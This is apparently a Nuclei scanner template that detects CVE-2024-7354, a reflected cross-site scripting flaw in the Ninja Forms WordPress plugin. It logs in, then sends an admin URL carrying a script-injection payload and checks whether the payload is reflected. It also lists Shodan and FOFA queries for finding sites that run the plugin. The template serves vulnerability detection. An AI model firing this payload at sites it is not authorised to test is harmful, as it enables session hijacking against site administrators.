CVE-2024-7354: Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting

id: CVE-2024-7354

info:
  name: Ninja Forms 3.8.6-3.8.10 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Ninja Forms WordPress plugin before 3.8.11 does not escape an URL before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
  impact: |
    Attackers can potentially exploit this vulnerability to gain unauthorized access to sensitive information.
  remediation: |
    Update the plugin to Latest version. Fixed in 3.8.11.
  reference:
    - https://wpscan.com/vulnerability/3c871dcd-51d7-4d3b-b036-efa9e066ff41/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-7354
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-7354
    cwe-id: CWE-79
    epss-score: 0.00758
    epss-percentile: 0.72423
    cpe: cpe:2.3:a:ninjaforms:ninja_forms:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 3
    vendor: ninjaforms
    product: ninja_forms
    framework: wordpress
    fofa-query: body="/wp-content/plugins/ninja-forms"
    publicwww-query: /wp-content/plugins/ninja-forms/
    shodan-query: http.html:"/wp-content/plugins/ninja-forms/"
  tags: cve,cve2024,wp,wordpress,wp-plugin,ninja-forms,xss,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "/wp-content/plugins/ninja-forms"
        internal: true

  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In

      - |
        GET /wp-admin/admin.php?page=nf-submissions&"><script>alert(document.domain)</script>=2 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '"><script>alert(document.domain)</script>'

      - type: word
        part: content_type_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c5cc191e86119ea8c56c2aa1ece25820a31e5d93d768ce573576cd6d257d68e2022100f1120ed83b3347014881e558052a8a91213dd77f90d1b5edcc0a7e12c9c4be32:922c64590222798bb761d5b6d8e72950